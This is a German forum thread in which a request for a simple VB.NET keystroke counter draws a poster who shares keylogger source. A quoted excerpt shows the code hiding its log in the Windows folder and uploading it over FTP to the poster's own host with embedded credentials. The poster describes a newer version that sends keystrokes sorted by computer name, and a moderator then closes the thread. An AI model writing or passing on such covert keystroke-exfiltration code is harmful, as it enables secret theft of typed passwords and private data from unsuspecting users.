Key Zähler

  • Huhu.

    Mich würde interessieren wie ich mit vB.net eine art Keylogger machen kann. Nur das er halt keine Tasten ausließt sondern wieoft die Tasten gedrückt werden. Das soll auch an keine E-Mail oder so gesende werden sondern einfach in einer *.txt Datei sein.

    Mich würde mal interessieren wieviele Tasten ich so am Tag drücke :>

    Hoffe mir kann wer helfen.

    LG

    [CENTER]"Ist das auch ein nerviges Geräusch?"

    "Es ist so FLAUSCHIG!"

    [/CENTER]

  • Nimm einfach die normale getasynckey funktion und bau noch einen Hook ein.

    Das heist dann das wenn derjenige die Taste A drückt zbsp ein encrease geaddet wird.

    oder du machst dann einfach: for each xyz (+1) und speicherst es ebend ab.

    Wenn du den Logger Source brauchst sag bescheid ^^

    MFG Syn

  • So hier der Source:

    Könnte sein das er gelöscht wird, weil er ja noch für andere Sachen verwendet werden kann.

    Also lads schnell ^^

    [COLOR="Red"]Removed by me[/COLOR]

    (Nur für testzwecke) Noobs bekommens eh ned hin daraus was ordentliches zu machen da hier noch keine Send befehle usw drinn sind. Er speichert Logs in der Log.txt was aber auch ganz schnell ümänderbar ist xD siehe

    *Hier* xD


    MFG Synaptic

  • habs mir mal geladen ^^
    Ich sehe es mir nacher an =)

  • Habs auch, werd mal sehen. Nen kompletter Nub bin ich ja net, das Proggen liegt bei mir in der Fam. xo

    LG

    €: Kann ihn irgendwie nicht öffnen. Ich bekomm nen Error :>

    [CENTER]"Ist das auch ein nerviges Geräusch?"

    "Es ist so FLAUSCHIG!"

    [/CENTER]

  • Jo habsch schon gemacht xD

    Ich schaus mir grade an, sieht interesant aus *gg*

    LG

    [CENTER]"Ist das auch ein nerviges Geräusch?"

    "Es ist so FLAUSCHIG!"

    [/CENTER]

  • Zitat

    My.Computer.FileSystem.WriteAllText("[COLOR="Red"]C:\WINDOWS\log.txt[/COLOR]", KeyLog & vbNewLine & vbNewLine, True)

    Dim inhalt As String = My.Computer.FileSystem.ReadAllText("[COLOR="Red"]C:\WINDOWS\log.txt[/COLOR]")
    TextBox1.Text = My.Computer.FileSystem.ReadAllText("[COLOR="Red"]C:\WINDOWS\log.txt[/COLOR]")

    Dim client As New Net.WebClient
    client.Credentials = New Net.NetworkCredential("[COLOR="Yellow"]xsynaptic[/COLOR]", "[COLOR="Yellow"]Synapwn1[/COLOR]")
    client.UploadString("[COLOR="Red"]ftp://xsynaptic.xs.ohost.de[/COLOR]" & "/log.txt", TextBox1.Text)

    Kannst du mir mal sagen warum der die LOG in deinen ftp laden soll und wieso die log txt in den windows ordner kommt....

    PS ich habs es nicht getestet aber ich traue dem garnicht


    Edit: Hab den FTP mal auf meinen geändert und siehe da eine log txt ......

  • Damit man die Log net so einfach findet. Das Uploaden würde eh nicht funken. Da hätte er schon die FTP Daten reinmachen müssen.

    LG

    [CENTER]"Ist das auch ein nerviges Geräusch?"

    "Es ist so FLAUSCHIG!"

    [/CENTER]

  • Ups ! hab euch nicht den Standart gegeben x.x

    Damn, auch noch meine daten im Source xD

    Ja das was du eingibst läd er beim schliesen auf meinem Ftp.

    Das sollte ihr euch eig allein erarbeiten e_________e

    MFG

    Edit: Es ist ja ein keylogger source xD

    Seine aufgabe war ebend das loggen, der log wird da gespeichert damit man ihn nicht gleich findet und dann beim schliesen bei mir geuppt.

    Meine neue version funktioniert noch ein wenig anders. Da wird gar nicht erst eine Log.txt erstellt sondern alles eingaben direckt von der Rich textbox auf meinem ftp geladen + geordnet nach Computernamen.

  • Tjoa und? Ist ja nicht so als hättest du dein PW eingegeben, hast ja die Source ich habs direkt rauskommenttiert nach dem "test" :>

    LG

    €: Editiert halt eure Posts, soviele werden ihn ja net geladen haben :>

    [CENTER]"Ist das auch ein nerviges Geräusch?"

    "Es ist so FLAUSCHIG!"

    [/CENTER]

  • So hier ist zu.
    Das Verbreiten von funktionierenden Keyloggern werd ich hier bestimmt nicht zulassen.

    [CENTER][SIGPIC][/SIGPIC]
    Solltet ihr irgendwelche rechtlichen Fragen haben, dürft ihr mir gerne auch eine PN schicken.
    Ich werde dann versuchen, eure Fragen bestmöglich zu beantworten.
    [/CENTER]

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!